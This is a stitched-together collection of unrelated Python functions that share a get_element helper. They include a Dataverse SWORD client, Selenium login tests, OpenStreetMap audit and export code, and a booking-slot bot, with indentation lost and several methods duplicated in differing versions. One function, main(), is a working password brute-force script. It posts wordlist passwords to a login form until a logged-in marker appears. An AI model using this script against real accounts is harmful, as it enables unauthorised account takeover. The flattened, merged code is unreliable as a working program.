def get_statement(self, refresh=False):
if not refresh and self._statement:
return self._statement
if not self.dataverse:
raise NoContainerError('This dataset has not been added to a Dataverse.')
if not self.statement_uri:
# Try to find statement uri without a request to the server
link = get_element(
self.get_entry(),
tag='link',
attribute='rel',
attribute_value='http://purl.org/net/sword/terms/statement',
)
if link is None:
# Find link with request to server
link = get_element(
self.get_entry(refresh=True),
tag='link',
attribute='rel',
attribute_value='http://purl.org/net/sword/terms/statement',
)
self.statement_uri = link.get('href')
resp = requests.get(self.statement_uri, auth=self.connection.auth)
if resp.status_code != 200:
raise ConnectionError('Statement could not be retrieved.')
self._statement = resp.content
return self._statement
def do_login(driver, login: str, url=pytest.test_client_url):
"""
Enter login in the login-field on the page and click 'next' button
:param driver: webdriver
:param login: str for input in login-field
"""
driver.get(url)
input_email = get_element(driver, pytest.input_login)
input_email.send_keys(login)
button_next = get_element(driver, pytest.login_next)
button_next.click()
def do_pwd(driver, pwd: str):
"""
Enter password in the pwd-field on the page and click 'next' button
:param driver: webdriver
:param pwd: str for input in pwd-field
:return:
"""
imput_pwd = get_element(driver, pytest.input_pwd)
imput_pwd.send_keys(pwd)
button_next = get_element(driver, pytest.pwd_next)
button_next.click()
def __init__(self, entry=SWORD_BOOTSTRAP, dataverse=None, edit_uri=None,
edit_media_uri=None, statement_uri=None, **kwargs):
"""
Datasets must have a title, description, and author.
This can be specified in the atom entry or as kwargs
"""
self.dataverse = dataverse
self.edit_uri = edit_uri
self.edit_media_uri = edit_media_uri
self.statement_uri = statement_uri
self.is_deleted = False
self._entry = etree.XML(entry) if isinstance(entry, str) else entry
self._statement = None
self._metadata = {}
self._id = None
# Updates sword entry from keyword arguments
for key, value in kwargs.iteritems():
if isinstance(value, list):
for item in value:
add_field(self._entry, key, item, 'dcterms')
else:
add_field(self._entry, key, value, 'dcterms')
self.title = get_element(
self._entry, tag='title', namespace='dcterms'
).text
def get_state(self):
return get_element(
self.get_statement(),
tag="category",
attribute="term",
attribute_value="latestVersionState"
).text
def __init__(self, entry=None, title=None, dataverse=None, edit_uri=None,
edit_media_uri=None, statement_uri=None, **kwargs):
# Generate sword entry
sword_entry = sword2.Entry(entry)
sword_title = get_element(sword_entry.pretty_print(), namespace='dcterms', tag='title')
if sword_title is None:
# Append title to entry
if isinstance(title, basestring):
self.title = title
sword_entry.add_field(format_term('title'), title)
else:
raise DataverseException('Study needs a single, valid title.')
else:
self.title = sword_title.text
if kwargs:
# Updates sword entry from keyword arguments
for k in kwargs.keys():
if isinstance(kwargs[k], list):
for item in kwargs[k]:
sword_entry.add_field(format_term(k), item)
else:
sword_entry.add_field(format_term(k), kwargs[k])
self._entry = sword_entry.pretty_print()
self._statement = None
self._state = None
self.dataverse = dataverse
self.edit_uri = edit_uri
self.edit_media_uri = edit_media_uri
self.statement_uri = statement_uri
def audit(osm_filename):
global errs
count = 0
# tag_count = defaultdict(int)
# streets = defaultdict(int)
errs = []
for elem in utils.get_element(osm_filename, tags=('node', 'way')):
count += 1
if elem.tag == "node":
node, tags, errs_curr = audit_node(elem)
elif elem.tag == "way":
way, way_nodes, tags, errs_curr = audit_way(elem)
if errs_curr:
errs.append(('bad elem', elem.attrib, errs_curr))
# pp.pprint(errs[-1])
# else:
# for tag in tags:
# tag_count[tag['type'] + ":" + tag['key']] += 1
# if tag['key'] == 'street' and len(tag['value'].split(' ')) > 1:
# words = tag['value'].split(' ')
# streets[words[0]] +=1
# streets[words[-1]] +=1
# if count > 1000:
# break
errs_glob = errs
print("Num errors: {}".format(len(errs)))
errs_cat = utils.categorize_errs(errs)
for cat in errs_cat:
print("{}: {}".format(cat, len(errs_cat[cat])))
def is_released(self):
# Get entry resource for collection
collection_info = self.connection.sword.get_resource(self.collection.href).content
status = utils.get_element(
collection_info,
namespace="http://purl.org/net/sword/terms/state",
tag="dataverseHasBeenReleased",
).text
return status.lower() == 'true'
def from_entry(cls, entry_element, dataverse=None):
id_element = get_element(entry_element, tag="id")
title_element = get_element(entry_element, tag="title")
edit_media_element = get_element(
entry_element,
tag="link",
attribute="rel",
attribute_value="edit-media",
)
return cls(
title=title_element.text,
id=id_element.text,
dataverse=dataverse,
edit_uri=entry_element.base,
edit_media_uri=edit_media_element.get('href'),
)
def get_state(self, refresh=False):
if self.is_deleted:
return 'DEACCESSIONED'
return get_element(
self.get_statement(refresh),
tag='category',
attribute='term',
attribute_value='latestVersionState'
).text
def from_dataverse(cls, entry_element, dataverse):
# Entry not in appropriate format--extract relevant metadata
id_element = get_element(entry_element, tag='id')
title_element = get_element(entry_element, tag='title')
edit_media_element = get_element(
entry_element,
tag='link',
attribute='rel',
attribute_value='edit-media',
)
return cls(
title=title_element.text,
id=id_element.text,
dataverse=dataverse,
edit_uri=entry_element.base,
edit_media_uri=edit_media_element.get('href'),
)
def is_released(self):
# Get entry resource for collection
collection_info = self.connection.sword.get_resource(
self.collection.href).content
status = utils.get_element(
collection_info,
namespace="http://purl.org/net/sword/terms/state",
tag="dataverseHasBeenReleased",
).text
return status.lower() == 'true'
def from_dataverse(cls, entry_element, dataverse):
# Entry not in appropriate format--extract relevant metadata
id_element = get_element(entry_element, tag="id")
title_element = get_element(entry_element, tag="title")
edit_media_element = get_element(
entry_element,
tag="link",
attribute="rel",
attribute_value="edit-media",
)
return cls(
title=title_element.text,
id=id_element.text,
dataverse=dataverse,
edit_uri=entry_element.base,
edit_media_uri=edit_media_element.get('href'),
)
def positive_login_case(driver, login: str):
"""
Enter login in the email-field and expects that it is correct
:param driver:
:param login:
"""
do_login(driver, login=login)
time.sleep(1)
select_accounts = get_element(driver, pytest.true_login_account)
assert select_accounts.text == f'{login}@gmail.com'
def negative_pwd_case(driver, pwd: str):
"""
Enter password in the pwd-field and expects that it is incorrect
:param driver: webdriver
:param pwd: str for input in pwd-field
"""
do_pwd(driver, pwd)
time.sleep(1)
pwd_alert_msg = get_element(driver, pytest.wrong_pwd_alert)
assert pytest.negative_pwd_msg in pwd_alert_msg.text
def negative_login_case(driver, login: str):
"""
Enter login in the email-field and expects that it is incorrect
:param driver:
:param login:
"""
do_login(driver, login=login)
time.sleep(1)
assert_msg_txt = get_element(driver, pytest.wrong_login_alert)
assert assert_msg_txt.text == pytest.negative_login_msg1 or \
assert_msg_txt.text == pytest.negative_login_msg2
def get_state(self, refresh=False):
if not refresh and self._state or self._state == 'DEACCESSIONED':
return self._state
self._state = get_element(
self.get_statement(refresh),
tag="category",
attribute="term",
attribute_value="latestVersionState"
).text
return self._state
def add_dataset(self, dataset):
if get_element(dataset._entry, 'title', 'dcterms') is None:
raise InsufficientMetadataError('This dataset must have a title.')
if get_element(dataset._entry, 'description', 'dcterms') is None:
raise InsufficientMetadataError('This dataset must have a description.')
if get_element(dataset._entry, 'creator', 'dcterms') is None:
raise InsufficientMetadataError('This dataset must have an author.')
resp = requests.post(
self.collection.get('href'),
data=dataset.get_entry(),
headers={'Content-type': 'application/atom+xml'},
auth=self.connection.auth,
)
if resp.status_code != 201:
raise OperationFailedError('This dataset could not be added.')
dataset.dataverse = self
dataset._refresh(receipt=resp.content)
def get_statement(self):
if not self.statement_uri:
entry = self.get_entry()
link = get_element(
entry,
tag="link",
attribute="rel",
attribute_value="http://purl.org/net/sword/terms/statement",
)
self.statement_uri = link.get("href")
statement = self.dataverse.connection.sword.get_resource(self.statement_uri).content
return statement
def _refresh(self, receipt=None):
if receipt:
self.edit_uri = get_element(
receipt,
tag='link',
attribute='rel',
attribute_value='edit'
).get('href')
self.edit_media_uri = get_element(
receipt,
tag='link',
attribute='rel',
attribute_value='edit-media'
).get('href')
self.statement_uri = get_element(
receipt,
tag='link',
attribute='rel',
attribute_value='http://purl.org/net/sword/terms/statement'
).get('href')
self.get_statement(refresh=True)
self.get_entry(refresh=True)
self.get_state(refresh=True)
def navigate_waypoint(self, driver, waypoint, timeout):
log.info('Navigating ' + str(waypoint))
elem = get_element(driver, waypoint.locator, timeout=timeout)
jitter(.8)
elem.click()
try:
WebDriverWait(driver, timeout).until(EC.staleness_of(elem))
except TimeoutException:
pass
if remove_qs(driver.current_url) == BASE_URL + waypoint.dest:
log.info("Navigated to '{}'".format(waypoint.dest))
else:
raise NavigationException("Navigation to '{}' failed".format(
waypoint.dest))
def is_published(self):
collection_info = requests.get(
self.collection.get('href'),
auth=self.connection.auth,
).content
status_tag = get_element(
collection_info,
namespace="http://purl.org/net/sword/terms/state",
tag="dataverseHasBeenReleased",
)
status = status_tag.text
return status.lower() == 'true'
def get_statement(self, refresh=False):
if not refresh and self._statement:
return self._statement
if not self.statement_uri:
# Try to find statement uri without a request to the server
link = get_element(
self.get_entry(),
tag="link",
attribute="rel",
attribute_value="http://purl.org/net/sword/terms/statement",
)
if link is None:
# Find link with request to server
link = get_element(
self.get_entry(refresh=True),
tag="link",
attribute="rel",
attribute_value="http://purl.org/net/sword/terms/statement",
)
self.statement_uri = link.get("href")
self._statement = self.dataverse.connection.sword.get_resource(self.statement_uri).content
return self._statement
def _refresh(self, receipt=None):
if receipt:
self.edit_uri = get_element(
receipt,
tag='link',
attribute='rel',
attribute_value='edit'
).get('href')
self.edit_media_uri = get_element(
receipt,
tag='link',
attribute='rel',
attribute_value='edit-media'
).get('href')
self.statement_uri = get_element(
receipt,
tag='link',
attribute='rel',
attribute_value='http://purl.org/net/sword/terms/statement'
).get('href')
self.get_statement(refresh=True)
self.get_entry(refresh=True)
self.get_metadata('latest', refresh=True)
def get_slots(driver, site_config):
log.info('Checking for available slots')
slot_container = get_element(driver, site_config.Locators.SLOT_CONTAINER)
slotselect_elems = slot_container.find_elements(
*site_config.Locators.SLOT_SELECT)
slots = []
for cont in slotselect_elems:
id = cont.get_attribute('id')
date_elem = driver.find_element(By.XPATH,
"//button[@name='{}']".format(id))
for slot in cont.find_elements(*site_config.Locators.SLOT):
slots.append(SlotElement(slot, date_elem))
if slots:
log.info('Found {} slots'.format(len(slots)))
return (slots)
def is_published(self):
# Always check latest version
collection_info = requests.get(
self.collection.get('href'),
auth=self.connection.auth,
).content
status_tag = get_element(
collection_info,
namespace='http://purl.org/net/sword/terms/state',
tag='dataverseHasBeenReleased',
)
status = status_tag.text
return status.lower() == 'true'
def get_state(self, refresh=False):
if not refresh and self._state:
return self._state
try:
self._state = get_element(
self.get_statement(refresh),
tag="category",
attribute="term",
attribute_value="latestVersionState"
).text
return self._state
except HTTPResponseError as e:
# Study was deleted without being released.
# For simplicity's sake, we'll call it deaccessioned
self._state = 'DEACCESSIONED'
return self._state
def main():
questions = [
inquirer.Text("email", message="What your email?"),
inquirer.Confirm("logs", message="Save logs?")
]
options = inquirer.prompt(questions)
html = getPage()
formEl = get_element(html, "form")
data = convert_form_to_dict(formEl)
data["email"] = options["email"]
file = open(f"{getcwd()}/data/wordlist1.txt", "r")
while True:
try:
line = next(file)
data["pass"] = line
res = session.post(settings["url"], data=data)
content = res.text
if options["logs"]:
try:
writeFile(line, content)
except FileNotFoundError:
mkdir(f"{getcwd()}/logs")
writeFile(line, content)
if ("Terminar sessão" in content or len(content) == 0):
finded_password(line)
break
cracking(line)
sleep(3)
except StopIteration:
print("SORRY ):")
break
file.close()
def citation(self):
return get_element(
self.get_entry(),
namespace='http://purl.org/dc/terms/',
tag="bibliographicCitation"
).text
def title(self):
dirty_title = get_element(self.get_statement(), tag='title').text
return sanitize(dirty_title)
def title(self):
return sanitize(get_element(
self.collection,
namespace='atom',
tag='title',
).text)
def process_map(file_in, validate):
"""Iteratively process each XML element and write to csv(s)"""
with codecs.open(csv_filename_nodes, 'wb') as nodes_file, codecs.open(
csv_filename_nodes_tags, 'wb') as nodes_tags_file, codecs.open(
csv_filename_ways, 'wb') as ways_file, codecs.open(
csv_filename_ways_nodes,
'wb') as ways_nodes_file, codecs.open(
csv_filename_ways_tags,
'wb') as ways_tags_file, codecs.open(
csv_filename_users, 'wb') as users_file:
nodes_writer = UnicodeDictWriter(nodes_file, node_fields_csv_names)
nodes_tags_writer = UnicodeDictWriter(nodes_tags_file,
tag_fields_csv_names)
ways_writer = UnicodeDictWriter(ways_file, way_fields_csv_names)
ways_nodes_writer = UnicodeDictWriter(ways_nodes_file,
way_nodes_fields_csv_names)
ways_tags_writer = UnicodeDictWriter(ways_tags_file,
tag_fields_csv_names)
users_writer = UnicodeDictWriter(users_file, user_fields_csv_names)
writers = {
'nodes': nodes_writer,
'nodes_tags': nodes_tags_writer,
'ways': ways_writer,
'ways_nodes': ways_nodes_writer,
'ways_tags': ways_tags_writer,
'users': users_writer
}
# It seems that sqlite does not like headers
#for writer in writers.values():
# writer.writeheader()
validator = cerberus.Validator()
errs = []
user_ids = set()
for elem in utils.get_element(file_in, tags=('node', 'way')):
parsed = {}
if elem.tag == "node":
node, tags, errs_curr = audit_node(elem)
if node:
parsed['nodes'] = node
parsed['nodes_tags'] = tags
elif elem.tag == "way":
way, way_nodes, tags, errs_curr = audit_way(elem)
if way:
parsed['ways'] = way
parsed['ways_nodes'] = way_nodes
parsed['ways_tags'] = tags
if errs_curr:
errs.append(('bad elem', elem.attrib, errs_curr))
#pp.pprint(errs[-1])
if parsed:
# move username to the users table
uid = parsed[elem.tag + 's']['uid']
username = parsed[elem.tag + 's']['user']
del parsed[elem.tag + 's']['user']
if uid not in user_ids:
user_ids.add(uid)
parsed['users'] = {'id': uid, 'username': username}
if validate is True:
validate_element(parsed, validator)
for table in parsed:
writers[table].write(parsed[table])
